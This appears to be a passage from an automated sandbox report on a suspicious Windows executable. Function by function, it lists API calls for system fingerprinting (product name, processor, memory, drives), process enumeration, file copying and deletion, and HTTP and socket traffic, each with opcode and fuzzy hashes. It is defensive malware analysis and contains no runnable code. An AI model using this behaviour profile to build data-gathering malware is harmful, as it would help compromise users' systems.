RegQueryValueExA.KERNEL32(?,ProductName,00000000,00000000,?,?), ref: 0041F22B

Strings

ProductName, xrefs: 0041F20D, 0041F213, 0041F229

Memory Dump Source

Source File: 00000001.00000002.2658080535.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID: QueryValue
String ID: ProductName
API String ID: 3660427363-3586724618
Opcode ID: 297f8375b1038bb0d3d7efae8f7a8fb007ca2ae3d08dc7cd9e0f1bc1478d321a
Instruction ID: d06dab5c00e1cd9b568c1344ba8a1129501a229b943713cdd63673397a6e7b0d
Opcode Fuzzy Hash: 297f8375b1038bb0d3d7efae8f7a8fb007ca2ae3d08dc7cd9e0f1bc1478d321a
Instruction Fuzzy Hash: 1AF0ECB66400045FC608DB49EC52D7AB79DEBA5214B04003AF908C7321E5A17C158725

Function 0041F955 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 31registryCOMMON

Download Yara Rule

APIs

RegQueryValueExA.KERNEL32(?,ProcessorNameString,?,?,?,?), ref: 0041F98C

Strings

ProcessorNameString, xrefs: 0041F96A, 0041F970, 0041F985, 0041F98A

Memory Dump Source

Source File: 00000001.00000002.2658080535.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID: QueryValue
String ID: ProcessorNameString
API String ID: 3660427363-2160769855
Opcode ID: 31041bb49acb937d4b380fc0fc361d606422b0c06ebdfe4616e1dac201ad4636
Instruction ID: 552663aaeae6f16054e1a020f72e43f719887551d2972acdf4c5440fe477a02d
Opcode Fuzzy Hash: 31041bb49acb937d4b380fc0fc361d606422b0c06ebdfe4616e1dac201ad4636
Instruction Fuzzy Hash: 39E09B7B750104AFC108D74DFC41C67B39DEBD9115B04053AF949C3311D5657D19C664

Function 0041F1A8 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 23registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.KERNEL32(80000002,SOFTWARE\Microsoft\Windows NT\CurrentVersion,00000000,00020119), ref: 0041F1DC

Strings

SOFTWARE\Microsoft\Windows NT\CurrentVersion, xrefs: 0041F1BA, 0041F1C0, 0041F1D6

Memory Dump Source

Source File: 00000001.00000002.2658080535.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID: Open
String ID: SOFTWARE\Microsoft\Windows NT\CurrentVersion
API String ID: 71445658-2278330950
Opcode ID: 476f3307aa02160a5b5e6049588745abe0e09f88a314fee225192767593139a3
Instruction ID: f7d6863b10dd3ef7c86b8c37ee4a6ed4c782ebdb65dcfa4361654b1c1eeb25b1
Opcode Fuzzy Hash: 476f3307aa02160a5b5e6049588745abe0e09f88a314fee225192767593139a3
Instruction Fuzzy Hash: 4FE04FB9B402156BD318DF1AFC52F227258FB52204F190028BD05D7263D69168248958

Function 00408767 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 18filenetworkCOMMON

Download Yara Rule

APIs

InternetReadFile.WININET(?,?,000000C7,?), ref: 00408780

Strings

^Si, xrefs: 00408799

Memory Dump Source

Source File: 00000001.00000002.2658080535.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID: FileInternetRead
String ID: ^Si
API String ID: 778332206-3901085095
Opcode ID: faf6b6c4cd23b25e350d407664b35923a76c34df22020ad90baa8e9c24bec324
Instruction ID: 93241e65bb3cfa946cd143787a7510651c993651da2982faf3566bebaf393edb
Opcode Fuzzy Hash: faf6b6c4cd23b25e350d407664b35923a76c34df22020ad90baa8e9c24bec324
Instruction Fuzzy Hash: F7E086767005069FDB04CF00CC51E6673B9FB953047248128D015DB250E670BD06CB40

Function 00406456 Relevance: 3.1, APIs: 2, Instructions: 87networkCOMMON

Download Yara Rule

APIs

InternetCloseHandle.WININET(?), ref: 0040645F
InternetCloseHandle.WININET(?), ref: 00406470

Memory Dump Source

Source File: 00000001.00000002.2658080535.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID: CloseHandleInternet
String ID:
API String ID: 1081599783-0
Opcode ID: 40158c5ab2417085201f24fde967ff0cc09c5e4c72c79cbf072d1c60d5054019
Instruction ID: 5e30dc2250b2b057e2b1b345e2aa25aa9d68eecf49c728a9819dea50d90d54a6
Opcode Fuzzy Hash: 40158c5ab2417085201f24fde967ff0cc09c5e4c72c79cbf072d1c60d5054019
Instruction Fuzzy Hash: 1F31CDBBA010699FCB04DF9CEC91ADD77B4FF95614B140028E826E3365DA30AF15DB88

Function 004234CE Relevance: 3.0, APIs: 2, Instructions: 27processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 004234F0
Process32First.KERNEL32(00000000), ref: 004234FD

Memory Dump Source

Source File: 00000001.00000002.2658080535.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID: CreateFirstProcess32SnapshotToolhelp32
String ID:
API String ID: 2353314856-0
Opcode ID: d0aafe996ae6847ea86accd4ca33bdfc7634bf740571bcb37ff440368e241406
Instruction ID: 227a4079254baf746a4b3145b4eccbe3d1c1d191b7d66606b6d4c0c46632bee1
Opcode Fuzzy Hash: d0aafe996ae6847ea86accd4ca33bdfc7634bf740571bcb37ff440368e241406
Instruction Fuzzy Hash: C7E0DF74301205AFE7A0CB1DEC92F6632E8FBC6348F140038B508CB3C1DA20EC208769

Function 00428E2D Relevance: 3.0, APIs: 2, Instructions: 18COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00428E3B
GetDriveTypeA.KERNEL32 ref: 00428E50

Memory Dump Source

Source File: 00000001.00000002.2658080535.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID: DriveTypememset
String ID:
API String ID: 1397174798-0
Opcode ID: b57d072800557abae0a5aa22fb6253ca5f3f77b3917338c5565a3f969117a767
Instruction ID: 05f602f88df0723ab444c59d209778b1bca8aad3002b6ddd03543a7d9dd94d56
Opcode Fuzzy Hash: b57d072800557abae0a5aa22fb6253ca5f3f77b3917338c5565a3f969117a767
Instruction Fuzzy Hash: 86E0867DF402105BD700CB40DD85F9DB375BBE9301F244136E50497345D6B4A9114B44

Function 00410B38 Relevance: 1.6, APIs: 1, Instructions: 112fileCOMMON

Download Yara Rule

APIs

FindNextFileA.KERNEL32(?,?), ref: 00410C8F

Memory Dump Source

Source File: 00000001.00000002.2658080535.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID: FileFindNext
String ID:
API String ID: 2029273394-0
Opcode ID: e44fe60c8639863d2c315c246c48f04d5d8cfac3e492799677a20636737e1b07
Instruction ID: 774cd959641f09b608a44bffdc7760c736467633c15014411cd55cc47401f3d7
Opcode Fuzzy Hash: e44fe60c8639863d2c315c246c48f04d5d8cfac3e492799677a20636737e1b07
Instruction Fuzzy Hash: 7641487A6001648FC704DFACEDD1A9973B5EF89604F040068EA06D3265EA34FF64CF8A

Function 00401486 Relevance: 1.6, APIs: 1, Instructions: 70fileCOMMON

Download Yara Rule

APIs

DeleteFileA.KERNEL32(00000000), ref: 0040150A

Memory Dump Source

Source File: 00000001.00000002.2658080535.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID: DeleteFile
String ID:
API String ID: 4033686569-0
Opcode ID: 1c7cf194b628d9fe7c974d29b3bbdfc55f754b21c85c7efbc48edafab75aaf0e
Instruction ID: 00392d68a53ce9e165726544d2ac5714eebf978426e0d0188d186be6dacfc9ef
Opcode Fuzzy Hash: 1c7cf194b628d9fe7c974d29b3bbdfc55f754b21c85c7efbc48edafab75aaf0e
Instruction Fuzzy Hash: A321E7BAA001099FCB05DFA8DCD19EDB7B1FF89304B04442AE915E7351DB34BA19CB98

Function 00404468 Relevance: 1.6, APIs: 1, Instructions: 68networkCOMMON

Download Yara Rule

APIs

InternetCrackUrlA.WININET(00000000,00000000,00000000,?), ref: 004044FF

Memory Dump Source

Source File: 00000001.00000002.2658080535.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID: CrackInternet
String ID:
API String ID: 1381609488-0
Opcode ID: 8ca45ac23f5f80d14643078be58b4809d258a7f24a3690ed9c8315075ae20a95
Instruction ID: 9197950a34bd4c976d15aab42ed2e9430d39523bc9f36c003b53b492bb8b4f1e
Opcode Fuzzy Hash: 8ca45ac23f5f80d14643078be58b4809d258a7f24a3690ed9c8315075ae20a95
Instruction Fuzzy Hash: 3D1130B56101049FDB44EF6DEC82A6F77E8EB8A258B04403DE809C7311D738EE159B69

Function 004131B8 Relevance: 1.6, APIs: 1, Instructions: 63fileCOMMON

Download Yara Rule

APIs

FindNextFileA.KERNELBASE(?,?), ref: 00413298

Memory Dump Source

Source File: 00000001.00000002.2658080535.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID: FileFindNext
String ID:
API String ID: 2029273394-0
Opcode ID: 3a29d8ca63820d5722b582f667db8b337fae8528adca656499e5a846500da76d
Instruction ID: 46ee3b8e51b98a700c03f76e3129104915c10ea7453c9402c637743a23bd37a1
Opcode Fuzzy Hash: 3a29d8ca63820d5722b582f667db8b337fae8528adca656499e5a846500da76d
Instruction Fuzzy Hash: FD2131B6A007099FC745CF68DC81BD9B3B1FF99304F048629D959D7211EB30BA68CB95

Function 00428AD8 Relevance: 1.6, APIs: 1, Instructions: 56fileCOMMON

Download Yara Rule

APIs

FindNextFileA.KERNELBASE(?,?), ref: 00428B8D

Memory Dump Source

Source File: 00000001.00000002.2658080535.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID: FileFindNext
String ID:
API String ID: 2029273394-0
Opcode ID: cd3aa1e78e9bafe1509456a5680c28c2fd7ad0762637759b60c567d48fb9704d
Instruction ID: f05d9e3c906a89cc39a28d3f1c3c1cdf9eccc8e36dd42beb386d9ba1c5efffb7
Opcode Fuzzy Hash: cd3aa1e78e9bafe1509456a5680c28c2fd7ad0762637759b60c567d48fb9704d
Instruction Fuzzy Hash: 0B21D675E007598FEB51CF68D880AAABBF0BB48200F01856AD959E7311E734AA85CF94

Function 004281A3 Relevance: 1.6, APIs: 1, Instructions: 55threadCOMMON

Download Yara Rule

APIs

CreateThread.KERNEL32(00000000,00000000,Function_0002B95A,?,00000000,00000000), ref: 004281F4

Memory Dump Source

Source File: 00000001.00000002.2658080535.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID: CreateThread
String ID:
API String ID: 2422867632-0
Opcode ID: 9f766c61395a17931d0f1b18f2dfe0ebdacd91c9f8f739b9e91bdfc8bef2e541
Instruction ID: 333401f703d56baabf777b19cb238a4d8652f21cbd007379918289329deaa6e8
Opcode Fuzzy Hash: 9f766c61395a17931d0f1b18f2dfe0ebdacd91c9f8f739b9e91bdfc8bef2e541
Instruction Fuzzy Hash: BD11A1B6340244AFD314DB5CECD1E6AB3E9EFC4209B190539E55AC3361DA34BE18CB28

Function 0040F621 Relevance: 1.6, APIs: 1, Instructions: 55fileCOMMON

Download Yara Rule

APIs

FindNextFileA.KERNELBASE(?,?), ref: 0040F6B3

Memory Dump Source

Source File: 00000001.00000002.2658080535.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID: FileFindNext
String ID:
API String ID: 2029273394-0
Opcode ID: a7703d518600a256b01e6be35bebfad8b62186e0db01ff4d5707e6f2c8d3ec17
Instruction ID: f292f0bd4e0c0730813694860e680219b469247554fa056f98eb1f0cfd166385
Opcode Fuzzy Hash: a7703d518600a256b01e6be35bebfad8b62186e0db01ff4d5707e6f2c8d3ec17
Instruction Fuzzy Hash: D011737A7402048BCB00DF9CDDC1BD973B6BF89314F044668A919DB356DA74EA68CB89

Function 0041FC37 Relevance: 1.5, APIs: 1, Instructions: 39COMMON

Download Yara Rule

APIs

GlobalMemoryStatusEx.KERNEL32(?), ref: 0041FC8B

Memory Dump Source

Source File: 00000001.00000002.2658080535.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID: GlobalMemoryStatus
String ID:
API String ID: 1890195054-0
Opcode ID: d67a27c9b99dd7a5bcb955ccc47490bdb7cbe0b4d5b421f5d9e7404f74ea9cfb
Instruction ID: 567a26385f976fdb7e9c64f1dd9d30ac251e2d642bf6d4e3b564833a4be22e49
Opcode Fuzzy Hash: d67a27c9b99dd7a5bcb955ccc47490bdb7cbe0b4d5b421f5d9e7404f74ea9cfb
Instruction Fuzzy Hash: F2F0F0B66002006FD324EF2DDC81E5B7BA8EBCA714F00413CB25AD3390DA34A904C769

Function 0041E72C Relevance: 1.5, APIs: 1, Instructions: 37memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,00000008,?), ref: 0041E772

Memory Dump Source

Source File: 00000001.00000002.2658080535.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: c54d81fddacd2cbff03315d3c59634262e4f9b4b6c041cf71a0d5c63e95615ea
Instruction ID: d4df36f3ae977bccc1e53b7daa7ccb0c4da166d2c3dacc872dafca06065db198
Opcode Fuzzy Hash: c54d81fddacd2cbff03315d3c59634262e4f9b4b6c041cf71a0d5c63e95615ea
Instruction Fuzzy Hash: C8F06276B447099BC700EF69DC80A1A77E9EF89609718803CA46183362DA70AD1ACB58

Function 0040785A Relevance: 1.5, APIs: 1, Instructions: 36networkCOMMON

Download Yara Rule

APIs

HttpSendRequestA.WININET ref: 0040788B

Memory Dump Source

Source File: 00000001.00000002.2658080535.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID: HttpRequestSend
String ID:
API String ID: 360639707-0
Opcode ID: 128fc794dd7df37090889cde7c700cc9ebf5d29e3d1e2b8f998b75ac21f5148c
Instruction ID: bf0f034a3dd850cf0cb564b24178683266c6b6b51357b7988c54eadef3e04e74
Opcode Fuzzy Hash: 128fc794dd7df37090889cde7c700cc9ebf5d29e3d1e2b8f998b75ac21f5148c
Instruction Fuzzy Hash: 74F0AF766002859BD314DF38EC91FAA73E9EB8E304F058668B615D72D2EA30AD50CB14

Function 00401124 Relevance: 1.5, APIs: 1, Instructions: 35registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.KERNEL32(?,?,00000000,00020119), ref: 0040116F

Memory Dump Source

Source File: 00000001.00000002.2658080535.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID: Open
String ID:
API String ID: 71445658-0
Opcode ID: 3fdf45d8cf678b361a808c94b8cc7572885393971de760a12fde78d5daa8ab18
Instruction ID: f3b03884cb52d199f356ad5dd5f3a1ff2906ecf3ed5d74594d059c0442db3dd9
Opcode Fuzzy Hash: 3fdf45d8cf678b361a808c94b8cc7572885393971de760a12fde78d5daa8ab18
Instruction Fuzzy Hash: 07F05EB5304204AFD304EB29EC96E2F76AEEBC629CB09412CF645D7251CAB09D109725

Function 00409D4A Relevance: 1.5, APIs: 1, Instructions: 35networkCOMMON

Download Yara Rule

APIs

connect.WS2_32(?,?,00000010), ref: 00409D9B

Memory Dump Source

Source File: 00000001.00000002.2658080535.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID: connect
String ID:
API String ID: 1959786783-0
Opcode ID: a0b9c6951ddee27bfd121741c426206ffc976de5c3bda4e77bf4ae948fd768d7
Instruction ID: 1c76ee57f995fb73f56d176aba3e3fe730563ee54a1c86628c8c5cf679eeabc3
Opcode Fuzzy Hash: a0b9c6951ddee27bfd121741c426206ffc976de5c3bda4e77bf4ae948fd768d7
Instruction Fuzzy Hash: D0014678240300DFD328CF59DD84E1AB3E6AF88304B18882DA5AAC7392C678E804CB19

Function 0040658C Relevance: 1.5, APIs: 1, Instructions: 34networkCOMMON

Download Yara Rule

APIs

HttpSendRequestA.WININET(?,00000000,00000000,?,?), ref: 004065D3

Memory Dump Source

Source File: 00000001.00000002.2658080535.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID: HttpRequestSend
String ID:
API String ID: 360639707-0
Opcode ID: b5efd7d13abf80949e0d98f68c3f819bcdfda6731efe7baf540d0d921052d973
Instruction ID: db716060e8ae9f8fcc5e862a0cebcb454ceb0093ee65c84773531da29eefcbe9
Opcode Fuzzy Hash: b5efd7d13abf80949e0d98f68c3f819bcdfda6731efe7baf540d0d921052d973
Instruction Fuzzy Hash: E5F0F9B6B01115DFCF08CBA8DC9097EBBB6BF89254718002DA406D33A1CA305C11DB48

Function 0040BC40 Relevance: 1.5, APIs: 1, Instructions: 32fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32 ref: 0040BC81

Memory Dump Source

Source File: 00000001.00000002.2658080535.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 94c759a8ce41bf2e0de2e2b8980983596a01c6efcb84545c265453e26e10f652
Instruction ID: 6670c946d57bb98f83207a2e2a4dd8fc4f459805bc578e4bde3d9dfa9d5bd7d2
Opcode Fuzzy Hash: 94c759a8ce41bf2e0de2e2b8980983596a01c6efcb84545c265453e26e10f652
Instruction Fuzzy Hash: ADF0F631A043058BC304EF2CDD8095577F1FFC5614F44852CE88483262EA30EA56C7C6

Function 00428B6F Relevance: 1.5, APIs: 1, Instructions: 30fileCOMMON

Download Yara Rule

APIs

FindNextFileA.KERNELBASE(?,?), ref: 00428B8D

Memory Dump Source

Source File: 00000001.00000002.2658080535.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID: FileFindNext
String ID:
API String ID: 2029273394-0
Opcode ID: 1cbed7a68a4fd64f4a3c6965399a7e26c25b9176cb7031c005de184faee0bea6
Instruction ID: 9528cd4afdda23467e0083a937059f108ced78d3526648939f428abbaa092546
Opcode Fuzzy Hash: 1cbed7a68a4fd64f4a3c6965399a7e26c25b9176cb7031c005de184faee0bea6
Instruction Fuzzy Hash: D5F0E277E00149AFEF01CB88EC90ADC77B5EB91204F054071E919E3260D739AE4A8F84

Function 00409CA9 Relevance: 1.5, APIs: 1, Instructions: 29COMMON

Download Yara Rule

APIs

getaddrinfo.WS2_32(00000000,00000000,?,?), ref: 00409CF5

Memory Dump Source

Source File: 00000001.00000002.2658080535.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID: getaddrinfo
String ID:
API String ID: 300660673-0
Opcode ID: 9578f0d61e1449aacc03a36e68f72606a615a669d3faf548841a9fdb8cf3b8d6
Instruction ID: 05f6202e1bc20cb4b29bb86db7e74d39b969980e396a867aade4093ea41b7757
Opcode Fuzzy Hash: 9578f0d61e1449aacc03a36e68f72606a615a669d3faf548841a9fdb8cf3b8d6
Instruction Fuzzy Hash: 4DF06DB1A44344DFE710CF64CCC4B9AB7E4FF85308F05C529A858D7202E7B4A9948B51

Function 00413142 Relevance: 1.5, APIs: 1, Instructions: 26fileCOMMON

Download Yara Rule

APIs

DeleteFileA.KERNEL32(00000000), ref: 0041315E

Memory Dump Source

Source File: 00000001.00000002.2658080535.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID: DeleteFile
String ID:
API String ID: 4033686569-0
Opcode ID: 8c1172f1069cd386c8498d50835f691b8d700a6194f4737e5d350dae5d27791d
Instruction ID: 23ef3dd95bf6a0164c47cf999acec1c42eb63bf94e27a0aeafc3b0acf90d2c1f
Opcode Fuzzy Hash: 8c1172f1069cd386c8498d50835f691b8d700a6194f4737e5d350dae5d27791d
Instruction Fuzzy Hash: 75F0A0BAB405648BCB09D758DCA1ABC37E3ABC9305B080059C905A7751CA786D61DA4D

Function 0040B98E Relevance: 1.5, APIs: 1, Instructions: 26processCOMMON

Download Yara Rule

APIs

CreateProcessA.KERNEL32 ref: 0040B9D1

Memory Dump Source

Source File: 00000001.00000002.2658080535.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: b8df199aab9badff020bc2b1227722152c72f420ecf84555ae2651d7957e55b5
Instruction ID: 8b4a8257022abbb41a3118302225be22bdba0b02c73ba330e27b8c205def3af7
Opcode Fuzzy Hash: b8df199aab9badff020bc2b1227722152c72f420ecf84555ae2651d7957e55b5
Instruction Fuzzy Hash: E8F0F9B5A087018BD70CDF29C9906A9B7F0BF9D304F00C96DA899D3361EA30DA45CF05

Function 00412EF8 Relevance: 1.5, APIs: 1, Instructions: 26fileCOMMON

Download Yara Rule

APIs

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00412F23

Memory Dump Source

Source File: 00000001.00000002.2658080535.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID: CopyFile
String ID:
API String ID: 1304948518-0
Opcode ID: 2954db867639c53f90c80a99d2f2c9786d5699ed2f9d976f1843ad7852b205c3
Instruction ID: b7c71d53dac44b228edffe1a05e153bdbe68826ecec0f01bcc8b446e4b1f0614
Opcode Fuzzy Hash: 2954db867639c53f90c80a99d2f2c9786d5699ed2f9d976f1843ad7852b205c3
Instruction Fuzzy Hash: 0AF030BAB001058FD748CB6CDC91B9D73E7EFD8309B184128A405D7365EA71ED56CB44

Function 0040C871 Relevance: 1.5, APIs: 1, Instructions: 25fileCOMMON

Download Yara Rule

APIs

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0040C89C

Memory Dump Source

Source File: 00000001.00000002.2658080535.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID: CopyFile
String ID:
API String ID: 1304948518-0
Opcode ID: d14a2ba5cc82fcc1864902cf64a2bea3494f77a9fcd36c36f244b44799870a20
Instruction ID: 1daf45191db6c52babe1fe8c8a27866bb4fb13e0f71ca1e9aaeaddf3e781aff4
Opcode Fuzzy Hash: d14a2ba5cc82fcc1864902cf64a2bea3494f77a9fcd36c36f244b44799870a20
Instruction Fuzzy Hash: 63E06DBAB412008BC71CFF68ECA4F6A33A5EB96740B08402CA802C33D4DD609911CA4A

Function 0040A36D Relevance: 1.5, APIs: 1, Instructions: 24networkCOMMON

Download Yara Rule

APIs

send.WS2_32(?,00000000,00000000,00000000), ref: 0040A398

Memory Dump Source

Source File: 00000001.00000002.2658080535.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID: send
String ID:
API String ID: 2809346765-0
Opcode ID: c86cb437a16923ba70a9f6b55ded9f8956fbf0d8b58b57c2774321bcb1cc0512
Instruction ID: f7f0187726c946ab94bd7783febf1ef7e1263ef785280c0f7cc2a8f968373833
Opcode Fuzzy Hash: c86cb437a16923ba70a9f6b55ded9f8956fbf0d8b58b57c2774321bcb1cc0512
Instruction Fuzzy Hash: 6AE09275380200DFD750EB6CCC80B2933E5AB88358F040524F225D73E2C638AE518B5A

Function 004095F3 Relevance: 1.5, APIs: 1, Instructions: 24filenetworkCOMMON

Download Yara Rule

APIs

InternetReadFile.WININET(?,?,00000FFF,?), ref: 004095AA

Memory Dump Source

Source File: 00000001.00000002.2658080535.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID: FileInternetRead
String ID:
API String ID: 778332206-0
Opcode ID: 8ddbed3e19b3c5e16b329f61f458e941262536b44169388930885874bfec931b
Instruction ID: 793b8917542ee9cb27708f1ec57fc827c82194574f1446412d7664dbd63c4935
Opcode Fuzzy Hash: 8ddbed3e19b3c5e16b329f61f458e941262536b44169388930885874bfec931b
Instruction Fuzzy Hash: 14E0657A348201EFD340CB5DDC84F6AB3E89B88644F180428A00AC3392CA74EC00DB2A

Function 0041FE65 Relevance: 1.5, APIs: 1, Instructions: 24registryCOMMON

Download Yara Rule

APIs

RegEnumKeyExA.KERNEL32 ref: 0041FE9F

Memory Dump Source

Source File: 00000001.00000002.2658080535.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID: Enum
String ID:
API String ID: 2928410991-0
Opcode ID: 7e85817e22f138c02c453e3c8736ecf73058679fe76b3fc0f0587abf6011d14e
Instruction ID: 05a1160b0d36b77b328343130d452bea134fcae93cfb3c47e4085434c63e978c
Opcode Fuzzy Hash: 7e85817e22f138c02c453e3c8736ecf73058679fe76b3fc0f0587abf6011d14e
Instruction Fuzzy Hash: 51F08270A183459FDB08DF29C894569B7E1BFC8314F14C92EE89A47354F770A885CB86

Function 00413263 Relevance: 1.5, APIs: 1, Instructions: 23fileCOMMON

Download Yara Rule

APIs

FindNextFileA.KERNELBASE(?,?), ref: 00413298

Memory Dump Source

Source File: 00000001.00000002.2658080535.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID: FileFindNext
String ID:
API String ID: 2029273394-0
Opcode ID: 15c4ffbb12baafcaac6dc899ca935e25643eb30cf0bd71265adac321ad7158ee
Instruction ID: c6d18ff3661babe7afd2bf8597fec0b91fd64dfa3a206f198322a9390ae50d2e
Opcode Fuzzy Hash: 15c4ffbb12baafcaac6dc899ca935e25643eb30cf0bd71265adac321ad7158ee
Instruction Fuzzy Hash: 2DF01CB6B4010A8BCB05CB58DD91BDC33B5EF58204F140128D909D7261EA31BE158F54

Function 0042C391 Relevance: 1.5, APIs: 1, Instructions: 23COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32 ref: 0042C39D

Memory Dump Source

Source File: 00000001.00000002.2658080535.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 011e9bd8fc71e4e42e049cef734956ce052094584bd460ef50def60e2692713a
Instruction ID: 6d828852da939186bf56a3799f9f6520df9f02f76987a01fc32ecadda15bd6d6
Opcode Fuzzy Hash: 011e9bd8fc71e4e42e049cef734956ce052094584bd460ef50def60e2692713a
